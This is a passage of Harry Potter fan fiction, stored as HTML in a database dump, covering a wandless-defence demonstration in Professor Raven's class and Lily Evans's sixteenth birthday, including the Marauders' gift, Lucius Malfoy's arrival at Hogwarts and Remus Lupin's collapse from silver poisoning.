MacMillan and Lily Evans.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Raven checked a roll of parchment he was holding and said, &quot;Ah, yes&#8230; the Potions genius and the Charms expert&#8230;&quot; The last time Lily had heard him speak, his voice had been strained, and she was quite relieved to hear that it wasn&#8217;t today. He didn&#8217;t appear to hold any grudge against her. Though it was a bit strange that he knew about them already. Did he ask for a report on every student after he accepted the job? It didn&#8217;t seem likely, Hogwarts wasn&#8217;t a very big school but it wasn&#8217;t exactly small either. She&#8217;d just have to wait and see to form an opinion of him. &quot;Go in and have a seat,&quot; he said, smiling.</p>\n\n<p>&nbsp;</p>\n<p>The room looked nothing like a usual classroom. It was at least as big as the Gryffindor common room and of the same round shape, although it wasn&#8217;t situated in a tower. Five high windows were pierced into the thick wall and overlooked the lake. The windows occupied only half of the curved wall, the rest was made of solid grey stone. There was no desk in sight, only a double ring of chairs placed around a big circle carved into the stone floor. Smaller circles were carved here and there inside, touching and overlapping each other in some places, and in the centre was a blue five points star. The border of the big circle was about four inches wide and strange symbols Lily had never seen were written inside it. </p>\n\n<p>&nbsp;</p>\n<p>A lot of the students from the four houses were already there, waiting impatiently for the class to begin. It seemed that the circle of chairs was divided into four quarters, one for each house, but Lily didn&#8217;t know if it had been planed that way or if the students had decided by themselves to keep together with their fellow housemates. </p>\n\n<p>&nbsp;</p>\n<p>Lily and Marian found two empty chairs in the first row, next to Beth and Amy who were whispering and giggling madly about something or other. It took less than two minutes for all the students to arrive, the last ones being James, Sirius, Remus and Peter, all looking slightly breathless. They found seats in the second row, behind Lily and Marian. And it seemed to Lily that as Raven was making his way to the centre of the circle, he was throwing a none-too-pleased look at them. </p>\n\n<p>&nbsp;</p>\n<p>Standing in the middle of the blue star, Raven surveyed his students silently, revolving around himself to take them all in. You could have heard a pin drop and many felt nervous under his piercing gaze. Suddenly, he smiled, and it was as if a spell had been broken. Everyone seemed to relax a bit and Raven started walking slowly around the circle.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Welcome to my class,&quot; he started. &quot;I hope you will learn many things from me this year, and, hopefully, the following one too. I&#8217;m here to teach you to protect yourself and fight against unfriendly witches or wizards. Now, I won&#8217;t dwell too much on the usefulness of this class as I did that already last Sunday, and you&#8217;re old enough to understand the position our world is in.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He stopped for a moment then to let his words sink in. Satisfied with the seriousness he could see on his students&#8217; faces, he went on.</p>\n\n<p>&nbsp;</p>\n<p>&quot;As you&#8217;ve noticed, there aren&#8217;t any desks in this room. You won&#8217;t need to bring parchment, books or quills with you for this class. The only times you will have to take up your quill will be for assignments. And I wish to tell you once and for all that when it happens, assignments will be handed in when they are due, no delay. I trust we understand each other.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Several students gulped uncomfortably. Many of them had asked for an extension at least once since they started Hogwarts. Some of the teachers were easy to talk to and readily accepted whatever excuses were given. Professor Raven wouldn&#8217;t be one of them. Though he was quite young, he knew how to command respect, and he seemed as strict as Professor McGonagall, the Head of Gryffindor house.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Now that&#8217;s out of the way, we will begin our lesson.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Raven took his wand out of the pocket of his black robes and twirled it lazily between his fingers.</p>\n\n<p>&nbsp;</p>\n<p>&quot;We&#8217;ve lost some time because of the &#8216;first lesson speech&#8217; and I will only provide you with a little demonstration today. And for that I need a volunteer.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Of course no one raised their hands. Raven was imposing enough as it was, but seeing him at close range with his wand out had an almost paralysing effect on them.</p>\n\n<p>&nbsp;</p>\n<p>Conscious of that fact, Raven slowly walked around the circle once more, looking at each of the students, his long fingers still twirling the thin piece of wood that must have blasted more than a few enemies to oblivion in the not-so-distant past.</p>\n\n<p>&nbsp;</p>\n<p>He never paused once in front of someone and Lily hadn&#8217;t felt anything evil or malevolent emanating from his gaze. But of course, the most powerful wizards could easily stop any real feeling from showing if they wished.</p>\n\n<p>&nbsp;</p>\n<p>Raven had finished his inspection and walked back to the blue star. He fixed his eyes on some point behind Lily and smirked ever so slightly.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Mr Potter, why don&#8217;t you come into the circle and show us what five full years in this school has taught you?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily heard James get up behind her and watched him - as did everyone else in the room - walk up to the teacher. Raven was the tallest but not by much. Actually, now that they were next to each other, Lily could see a vague resemblance between the two. Maybe it was the hair&#8230;</p>\n\n<p>&nbsp;</p>\n<p>Raven held out his hand. &quot;Your wand please,&quot; he asked. &quot;You won&#8217;t need it for this demonstration.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James looked cool and composed as he drew his wand out of his robes and handed it to his teacher. Lily swallowed. <i>She</i> wouldn&#8217;t have been so calm in his place.</p>\n\n<p>&nbsp;</p>\n<p>Raven pocketed the wand and turned once more towards the class. &quot;Now, I know that you are all eager to learn as many curses and protective charms as you can. But before we come to that, you must learn how to defend yourselves without your wand.&quot;</p>\n\n<p>&nbsp;</p>\n<p>There were some worried whisperings. All of the students had done some accidental magic when they were feeling very strongly about something, but none could control it, much less <i>produce</i> it at will.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Of course you won&#8217;t be able to block an Avada Kedavra or some of the more powerful spells. But with training, you&#8217;ll see that you can get out of some tricky predicaments and destabilise your adversary while you try to get your wand back or simply try and make your escape. There&#8217;s no need to stay and die bravely when you have the opportunity to save your skin.&quot; Here he looked at the Gryffindors in general and at James in particular. James looked back calmly and waited.</p>\n\n<p>&nbsp;</p>\n<p>&quot;We&#8217;ll keep it simple for today,&quot; Raven continued. &quot;The reason I chose Mr Potter for that demonstration is because I know he had some previous training in the blocking of curses and it will be no trouble for him.&quot;</p>\n\n<p>&nbsp;</p>\n<i></i><p><i>He seems to know a lot about James, </i>Lily thought.<i> Perhaps more than I do. </i></p><i>\n\n<p>&nbsp;</p>\n</i><p>Raven waved his wand and the edge of one of the inside circles began to glow red. &quot;Take your position in the circle, James. You won&#8217;t have to stay there once we start though.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James did as he was told and waited as Raven explained that none of the curses would get past the enchanted ring of stone and that there was no need to worry if they saw something coming their way. Raven then got his wand ready and concentrated all of his attention on James.</p>\n\n<p>&nbsp;</p>\n<p> &quot;Ready?&quot; he asked.</p>\n\n<p>&nbsp;</p>\n<p>James nodded slowly, never taking his eyes off his opponent. A second later the first spell was cast and landed in the middle of the circle James had been standing in only a millisecond before. Then it all went very fast. Raven was casting spells at increasing speed and James either dodged or countered with his bare hands. Everyone was fascinated and forgot about the blasts of light which were crashing on an invisible barrier inches from some them.</p>\n\n<p>&nbsp;</p>\n<p>Lily couldn&#8217;t take her eyes from the scene in front of her. James was running and dodging with feline grace and agility, he wore the determined look she had seen so often before Quidditch matches and he didn&#8217;t seem to be getting tired.</p>\n\n<p>&nbsp;</p>\n<p>She could see that Raven was playing it fair. She knew all the curses he threw and none were dangerous. She wondered how he could keep his head clear with all the revolving he was doing. For he hadn&#8217;t put a toe out of the central star and it left him in a very restrained space. But he seemed to be moving even more swiftly with every passing second.</p>\n\n<p>&nbsp;</p>\n<p>It all stopped abruptly when James barely dodged a charm Lily, for once, didn&#8217;t know. The bright blue light grazed his cheek and left a thin cut before crashing in front of a frightened Ravenclaw girl. It wasn&#8217;t bleeding, and James had probably barely felt it, but Raven stopped immediately. He congratulated his opponent and handed him his wand. </p>\n\n<p>&nbsp;</p>\n<p>James took it without a word.</p>\n\n<p>&nbsp;</p>\n<p>&quot;There, you&#8217;ve seen a bit of what can be done without a wand. Everyone can learn to do what Mr Potter did just now; blocking-wise I mean, for dodging is a different matter. In Mr Potter&#8217;s case, Quidditch and other things are a great advantage. But you&#8217;ll be able to dodge too with some training. And speaking of training, go and sign up for the Duelling club rather than damaging each other in private. Madam Weasley wouldn&#8217;t be too pleased to see her infirmary overcrowded.&quot; He smiled, putting his wand back into his robes. &quot;Class is dismissed.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The students started to file out of the room, some girls throwing admiring looks at James or Raven on their way out. Sirius came up to James and slapped him on the shoulder.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well done mate,&quot; he said. &quot;You&#8217;ll have no problem finding a date for that ball now. Have you noticed how Miranda Watson was looking at you with those hungry eyes?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>James threw him a dirty look. &quot;Shut it Sirius,&quot; he said shortly. He went to collect his bag and left the room without a word. </p>\n\n<p>&nbsp;</p>\n<p>&quot;What&#8217;s wrong with him?&quot; Lily heard Sirius ask Remus and Peter as they left the room and tried to catch up with James. </p>\n\n<p>&nbsp;</p>\n<p>Professor Raven&#8217;s lips were slightly twisted into something between a smirk and a smile as he watched them go. Lily felt confused as she was pulled out of the classroom by Marian. She wasn&#8217;t even close to pinning his character down and she would have to trust him for now. Dumbledore had hired him after all, and it should be guarantee enough.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(170, 6, '\n\n<b><u>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n</u><p><u>Chapter 6 </u> :  Birthday Girl</p>\n</b>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>As she walked down the stairs to the common room on the fifteenth of September, Lily felt better than even she could have imagined. It was a Sunday morning, the day promised to be nice and warm, and it was her birthday. Sixteen years old&#8230;</p>\n\n<p>&nbsp;</p>\n<p>She felt much older than that for some reason, but since the calendar said it was 1975, she was indeed sixteen.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh, isn\'t that sweet.&quot; Marian drawled from behind Lily as they got to the bottom of the stairs. &quot;Hogwarts\' greatest and brightest waiting like dutiful knights for the fair red haired maiden.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily tried to stifle a giggle. It wasn\'t everyday you saw James, Sirius, Remus and Peter lined up in front of the fire place, angelic smiles on their faces, and wearing what looked like old and somewhat rusty suits of armour.</p>\n\n<p>&nbsp;</p>\n<p>Remus was holding a medium-sized box wrapped in Gryffindor colours and a loud grating sound could be heard as he made his way across the room towards Lily. A small group of second years snorted as they watched Remus\' noisy progress, but they were quickly reduced to silence when Sirius glared at them jokingly and drew a remarkably nasty looking sword from its sheath. Peter slapped him playfully on the shoulder with his metal-gloved hand and Sirius nearly went flying across the room.</p>\n\n<p>&nbsp;</p>\n<p>Lily had to admit that Remus looked impressive from close up in his current attire, at least now that he wasn\'t squeaking anymore. He stopped in front of her and was awkwardly bending a knee, offering her the golden box.</p>\n\n<p>&nbsp;</p>\n<p>&quot;The Marauders of Hogwarts are proud to present thee with this humble gift and would be honoured to be thy faithful knights for the day, O fair Lily!&quot; (Good line.)</p>\n\n<p>&nbsp;</p>\n<p>Lily took the box and found herself quite at a loss as to what to say. In fact, she felt like laughing more than anything else. Trying hard not to smile, she decided to play their game.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I thank you, Sir Remus. Would you accept a kiss as a reward for your generous and faithful service?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Sir Remus barely had the time to open his mouth before three voices chorused a loud, &quot;Wait!&quot;</p>\n\n<p>&nbsp;</p>\n<p>More grating and squeaking was heard as James, Sirius and Peter hurried across the room and pushed Remus ruthlessly aside when they reached Lily.</p>\n\n<p>&nbsp;</p>\n<p>&quot;What about your other faithful knights, my fair Lady?&quot; Peter asked. &quot;Don\'t they deserve a kiss too?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Hear! Hear!&quot; shouted James and Sirius.</p>\n\n<p>&nbsp;</p>\n<p>They looked so ridiculous standing like that in their oversized armour that Lily burst out laughing. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Sometimes I wonder how we would all make it through Hogwarts without you four here to entertain us,&quot; she managed to say after a while. &quot;Where the hell did you find this armour?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;We borrowed them from the fifth floor corridor of the west wing,&quot; Remus answered with a huge grin. &quot;That part of the castle is quite abandoned and no one will notice.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Why don\'t you open your present?&quot; James put in, a merry light dancing in his eyes.</p>\n\n<p>&nbsp;</p>\n<p>Lily looked suspiciously at the box in her hands. Five years of acquaintance with the four boys had taught her to be wary of everything that went through their hands. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Alright,&quot; she said, walking towards a table to avoid blocking the staircase any longer. Her little group followed and watched with amusement as she cautiously first untied the red ribbon, and then took the red paper away. Nothing happened and Lily decided it was safe to touch the \'thing\'. </p>\n\n<p>&nbsp;</p>\n<p>The \'thing\' was a plain rectangular casket made of dark, smooth wood, which looked quite sturdy. There wasn\'t any lock and Lily ran her fingers all over it to try and find a way to open it.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It\'s a Secrets Keeper,&quot; Sirius explained. &quot;Inside is much larger than it looks and you can put anything you want to keep safe in it. Once it\'s closed, nothing can open it but the password its owner chooses. We made sure of it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;And how does the new owner open it for the first time?&quot; Lily asked, trying to force the lid open in frustration.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Not like that in any case,&quot; James warned, taking the box out of her hands. &quot;You\'ll only scratch the wood with your nails. All you have to do is tap the lid once with your wand and say the password of your choice.&quot;</p>\n\n<p>&nbsp;</p>\n<p> &quot;You&#8217;d better do it somewhere no one else can hear you, though,&quot; Peter chimed in. &quot;We couldn\'t manage a voice recognition charm and everyone with the password can open it.&quot; </p>\n\n<p>&nbsp;</p>\n<p>&quot;I see.&quot; Lily took the casket from James and considered it briefly before turning back to her friends. &quot;Why don\'t you go and put that armour back where you found it and meet us in the Great Hall for breakfast?&quot;</p>\n\n<p>&nbsp;</p>\n<p>There was quite a commotion as the boys made their way out and stepped through the portrait hole, but Lily didn\'t pay attention as she thoughtfully turned the casket in her hands.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I wouldn\'t place anything really important in there if I were you,&quot; Marian cautioned. </p>\n\n<p>&nbsp;</p>\n<p>&quot;You\'re probably right. It looks authentic though. I\'ve heard about Secrets Keepers, they\'re really helpful when they\'re well done. I\'ll check it for any suspicious spells and I\'ll see what I\'m going to do with it then.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don\'t say I didn\'t warn you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily grinned. &quot;I won\'t, don\'t worry. I\'ll go and drop it in the dorm. I\'ll be back in a second.&quot;</p>\n\n<p>&nbsp;</p>\n<p>When she stepped into the dorm she found Cl&#233;obulle sprawled in a patch of sunlight on her bed. He opened his eyes briefly before returning to his little nap at the sight of his mistress. On her bed were the presents she had received from her friends and family. From Beth and Amy she got a pocket Teen-witch make-up set, a glittering barrette and the dubious honour of becoming a decorating assistant for the newly scheduled Winter Ball. Marian went for something useful and gave her a diary that the owner could customise. The instructions for &#8216;charming it to your taste&#8217; were printed in a book twice the size of said diary and looked quite complicated. Lily was quite interested in having a diary that would write back to you but it looked extremely complicated to do. From her parents and Muggle relatives she got various things ranging from home-made sweets to a pair of plain black shoes. </p>\n\n<p>&nbsp;</p>\n<p>She placed the casket with her new possessions, promising herself that she would examine it and check it for any suspicious spells later. Snatching the barrette from the small pile, Lily pinned it at random in her hair and went to the mirror hanging on the stone wall to look at the effect. The green clip nicely complemented her eyes, and she made a mental note to thank her friends again for their flair.</p>\n\n<p>&nbsp;</p>\n<p>Just as she was inspecting herself more closely, her stomach gave a loud rumble and she felt relieved that no one else was in the room except for her sleeping cat. She was always quite embarrassed when it happened in public.</p>\n\n<p>&nbsp;</p>\n<p> She went down to the common room, where Marian was waiting, and they hurried to the Great Hall together.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">**************</p>\n<p> </p>\n\n<p>&nbsp;</p>\n<p>&quot;Hey, Lily. Listen to this.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily looked up from her porridge to Marian. Her friend had that morning\'s Daily Prophet spread in front of her, while her breakfast stood almost untouched, discarded on the side.</p>\n\n<p>&nbsp;</p>\n<p>&quot; &#8216;The heir to the Malfoy fortune announced that he would make donations to several of our renowned institutions such as Hogwarts School of Witchcraft and Wizardry and the excellent St Mungo&#8217;s Hospital. Still affected by the sudden and mysterious death of his cherished father, young Lucius Malfoy, twenty five years of age, has firmly decided to take on all of his father\'s charges and duties. &quot;One of the charges I hold close to my heart,&quot; he told us, &quot;is being on the Board of Governors at Hogwarts. The other Governors and I will stay at the school for a few days and see what can be done to ensure that its administration and direction are the best they can be.&quot; &#8217;  Well, what do you say to that?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I say that this Malfoy sounds like a very generous person.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Marian snorted. &quot;Generous? I can see you\'ve never met him.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Is he that terrible?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;He\'s the most snobbish wizard in all England. Very anti-Muggleborn too. It wouldn\'t surprise me if he dabbled in the Dark Arts. Here, look at his picture.&quot; Marian slipped the newspaper across the table to Lily. &quot;Speaks for itself.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily leaned forward, a glass of orange juice in her hand, and looked at the picture labelled &quot;Lucius Malfoy, an asset to the English Wizarding World, inaugurating the new Apparition Point in Diagon Alley.&quot;  It showed a stern-faced wizard with very pale hair in which a slight wind was playing. His robes were dark and conservative but obviously expensive. He was cutting a ribbon that was stretched between two thin pillars. Some jovial, round-faced wizards surrounded him; they seemed quite pleased with themselves and were congratulating each other, slapping backs and clasping hands. Lucius Malfoy looked quite out of place looking so stern and standing so still among them. Lily knew instantly he was not a person she would like to get acquainted with. </p>\n<p> </p>\n\n<p>&quot;Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily started and nearly spilled her orange juice on the beautiful but cold face of Lucius Malfoy. She threw an accusing glare at Marian who had obviously seen who was coming towards the Gryffindor table but hadn\'t deemed it necessary to warn her friend.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Hello, Howard,&quot; she said, turning in her seat to face this year\'s Head Boy.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Could I talk to you for a minute?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Sure, go ahead.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Howard looked a bit uncomfortable. &quot;I meant privately,&quot; he said, shifting from one foot to another.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Alright.&quot; Lily hoped she didn\'t sound too unenthusiastic. Howard was a nice boy. Brown hair, pale blue eyes, perfect grades, polite: nice. Too nice. Breaking up with him had made her feel like the worst person in the world, because she knew she was causing him great pain. She really didn\'t want him to try and put his heart on a silver platter for her to smash again. </p>\n\n<p>&nbsp;</p>\n<p>She followed him out of the Great Hall with great misgivings, toying with her sleeves as she always did when nervous.</p>\n\n<p>&nbsp;</p>\n<p>When they were at a safe distance from the doors, Howard stopped and pulled out a small box from his pocket.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Here,&quot; he said. &quot;You didn\'t think I\'d forget about your birthday, did you?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Howard, you shouldn\'t -&quot; </p>\n\n<p>&nbsp;</p>\n<p>&quot;No, no,&quot; he hastily cut in. &quot;It was my pleasure, and it\'s only a trinket. Take it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You\'re too sweet for your own good, Howard Clint,&quot; Lily sighed, taking the little box.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I\'m not too sweet!&quot; he protested with a grin. &quot;I didn\'t get my Head Boy badge by being sweet. I\'m a person with charisma and a sense of leadership.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Of course you are. Now, let&#8217;s see what our charismatic Head Boy gave me.&quot; </p>\n\n<p>&nbsp;</p>\n<p>Lily swiftly disposed of the wrapping paper and opened the box. Inside were two red bracelets, one velvet and the other leather. Each had what looked like a small black ball attached as a pendant or a charm.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It\'s a cat tracker,&quot; Howard explained. &quot;You put the leather bracelet around the neck of your cat and you keep the velvet one. You only have to touch the small pendant to see where your pet is. I know your Cl&#233;obulle tends to wander quite a lot and I thought it could be helpful.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thank you, Howard. I\'ll be glad to know where the little devil puts his little black paws. Hogwarts is such a big castle that I\'m often worried about him.&quot; Lily smiled at her companion, genuinely delighted.</p>\n\n<p>&nbsp;</p>\n<p>Howard seemed greatly relieved at her words. &quot;I\'m glad you liked it. And, er, I was wondering if you\'d consider going to the Winter Ball with me?&quot; he asked a bit hesitantly.</p>\n\n<p>&nbsp;</p>\n<p>Here we go, Lily thought. I knew I shouldn\'t have agreed to talk to him in private. She was about to answer him but got distracted by the entrance doors opening. In came a group of venerable looking wizards, chatting and laughing between themselves. Some of them wore robes which couldn\'t quite conceal well-rounded bellies, a sign of men who liked the good things in life. They passed though the entrance hall without paying attention to Howard and Lily and went up the main stairs. In the now vacant doorway a tall wizard could be seen standing and looking out towards the grounds. He had the palest blond hair Lily had ever seen, almost white, and she knew, even before one of the older wizards turned and called &quot;Lucius!,&quot; that it was the Lucius Malfoy she had seen moments before in the black and white wizard picture on the front of the Daily Prophet.</p>\n\n<p>&nbsp;</p>\n<p>The young wizard turned around at the sound of his name and went to join the group. As he passed in front of the two students his eyes swept over them quickly before dismissing them as insignificant, for which Lily felt quite grateful.  She came back to the present when she heard Howard repeating his question about the ball.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don\'t you have to go with the Head Girl though?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Nope. I\'m free to choose whoever I want.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh&#8230; er&#8230; do you mind if I think about it first? It\'s only mid-September, we\'ve got time.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Howard\'s face fell a bit but he didn\'t try to push the subject further. &quot;So,&quot; he said, &quot;you didn\'t enrol in the Duelling Club? I didn\'t see you there.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;No, I didn\'t.&quot; Lily was glad of the change of subject. &quot;Maybe next year. I didn\'t know you\'d signed up, though. Do you have time with your Head Boy\'s duties and study sessions for the NEWTs?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I managed to get everything in my schedule, but it\'s a tight fit,&quot; he joked. </p>\n\n<p>&nbsp;</p>\n<p>&quot;So, how is it?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It\'s great. Raven\'s a very good teacher. He knows a lot of things and it\'s obvious he\'s been duelling a lot in the past. He actually told me I had a good chance of being Ravenclaw\'s champion for this year&#8217;s competition.</p>\n\n<p>&nbsp;</p>\n<p>Lily smiled when she saw he was quite embarrassed talking about his accomplishments. &quot;I\'ll make sure I come and watch your duels. You must be very good for Raven to tell you that; he never overly praises his students.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Howard looked down and blushed at the compliment. &quot;It\'s a pity you didn\'t join,&quot; he said after a while, looking up to meet her gaze. &quot;You would have done very well.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I\'ll think about it for next year.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You do that. Well, I\'ll leave you now, I have one of those &#8216;NEWTs study sessions&#8217; as you call them. I\'ll see you around.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily watched him go up the stairs, thinking it had all gone very well. She turned, and was about to go back into the Great Hall when she heard hurried footsteps on the same staircase Howard took. It was Sirius, James, Remus and Peter, free from their heavy armour and coming down to breakfast. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Was that Clint we saw heading towards the Ravenclaw common room?&quot; Sirius asked as they stopped before her. &quot;We couldn\'t be sure because he passed very quickly. He seemed in quite a hurry, or quite intent on avoiding us.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily saw James eyeing the open box with the bracelets in it but he didn\'t say anything and she quickly closed it and shoved it in her pocket.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes,&quot; she answered. &quot;He just wanted to wish me a happy birthday.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thought so,&quot; Sirius grinned. &quot;Well, Gryffindors, what do you say to some breakfast? I\'m starving!&quot;</p>\n\n<p>&nbsp;</p>\n<p>His three friends followed him towards the Great Hall. They were breathing a bit heavily due to their run from the fifth floor corridor but Lily noticed that Remus was a lot more winded than the others and had a flushed face which looked as though it would be hot to the touch.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Remus!&quot; she called.</p>\n\n<p>&nbsp;</p>\n<p>Remus stopped and motioned for the others to continue without him. &quot;Yes?&quot; he asked, turning towards Lily.</p>\n\n<p>&nbsp;</p>\n<p>She walked up to him and placed a hand on one cheek. She had been right: he was almost boiling. Ignoring his dumbfounded expression, she grabbed his arm and dragged him into a secluded corner where they could talk in private instead of being watched by half the Great Hall. She looked at the boy in front of her sternly.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Remus, I know that sometimes I can get wrapped up in my own little world and that I think mostly of my problems, but I\'m not blind and I\'ve noticed there&#8217;s been something wrong with you since we got back to school.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Remus tried to say something but Lily wouldn\'t let him. &quot;Don\'t deny it, I won\'t believe you. You often look flushed or out of breath for no particular reason. You\'re sweating a lot too, and you\'re always looking tired. I\'m worried about you, Remus. I want you to tell me what\'s wrong so I can help you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I\'m okay, Lily. Don\'t worry about me. It\'s true I\'ve been out of it lately, but I\'m going to be fine.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Even if he hadn\'t faltered and nearly fallen immediately after speaking, she wouldn\'t have believed him. He caught himself in time by throwing his right hand against the wall. He clutched his right side with his left hand and closed his eyes tightly, his face taut with pain.</p>\n\n<p>&nbsp;</p>\n<p>Lily panicked. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Remus? Remus?!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Remus swallowed hard and opened his eyes. &quot;It\'s okay, it will pass. It always passes.&quot;</p>\n<p> </p>\n\n<p>&quot;No, it\'s not okay! Look at you! You could collapse at any moment. We need to take you to the hospital wing, and quick.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Remus felt too weak to protest and let Lily guide him gently up the stairs. They made their way slowly along the corridors, and Lily felt Remus leaning against her more heavily with each step until he finally collapsed fifty feet from the hospital wing door, bringing Lily down with him.</p>\n\n<p>&nbsp;</p>\n<p>If she was panicked before, Lily was frantic now. &quot;Remus? Remus, come on! We\'re nearly there.&quot;</p>\n\n<p>&nbsp;</p>\n<p>But Remus had slipped into blissful oblivion and couldn\'t hear her. She drew her wand out of her robes with a shaking hand and muttered, &#8216;Mobilicorpus&#8217;. The charm she had learned in her fifth year had served her well, and Remus\' still body raised slowly from the ground. Once she felt sure she had her hand steady she started to run.</p>\n\n<p>&nbsp;</p>\n<p>She threw the door opened with her free hand and called, &quot;Madam Weasley! Madam Weasley!&quot;</p>\n\n<p>&nbsp;</p>\n<p>The ageing nurse appeared at the door of her office as Lily lowered Remus onto a bed. &quot;Miss Evans?&quot; </p>\n\n<p>&nbsp;</p>\n<p>She rushed to the bed and paled when she saw who was lying on it. &quot;What happened? Did he hurt you?&quot; she asked as she started running her wand over him to check for injuries</p>\n<p>.</p>\n\n<p>&quot;N-no, he didn\'t hurt me. Why would he?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Madam Weasley muttered, &quot;never mind&quot; without looking up from her patient. In her rush, a strand of her hair had escaped from the tight chignon she always wore. Lily thought that it must have been outrageously orange before it started to become streaked with white. &quot;What happened?&quot; the nurse asked more calmly.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I don\'t exactly know,&quot; Lily started. &quot;He\'s been flushed and sweating since school started. Perhaps it started before that, but I can\'t be sure since I didn\'t see him during the summer. I confronted him with it and he tried to deny it but he collapsed and I brought him here.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The tip of Madam Weasley\'s wand glowed blue as it stopped above his right side level with his ribs.</p>\n\n<p>&nbsp;</p>\n<p>She looked up at Lily. &quot;You did well, Miss Evans. Now I must ask you to wait outside while I look after Mr Lupin.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Is he going to be alright, Madam Weasley?&quot;</p>\n\n<p>&nbsp;</p>\n<p>The nurse smiled reassuringly. &quot;I think so, Miss Evans. You don&#8217;t have to worry.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily nodded and left the room. She didn\'t go far though, and stayed close to the door. She didn\'t know how long she waited. She was lost in her thoughts, wondering why the other three boys hadn\'t already dragged him to the infirmary. Surely they had noticed something was wrong with Remus? Illness seemed to be quite frequent in his family since he often went to visit ailing parents. Perhaps it was in the genes and Remus had inherited it. He didn&#8217;t seem the frail type, though. </p>\n\n<p>&nbsp;</p>\n<p>She snapped out of her meditative state when she heard the muffled voice of Madam Weasley through the door. She put her ear against the solid wood and listened.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Just in time&#8230; Wound&#8230; Silver&#8230; Poison in his blood&#8230; Quite a long time&#8230; Wonder he lasted so long&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>It was all she could catch and it didn\'t make sense. Who would poison Remus? It couldn\'t have been the Slytherins since apparently it happened during the summer holidays.</p>\n\n<p>&nbsp;</p>\n<p>The door opened before she could wonder further and Madam Weasley let her in. There was no one else in the room except for Remus, and Lily wondered who it was the nurse had been talking 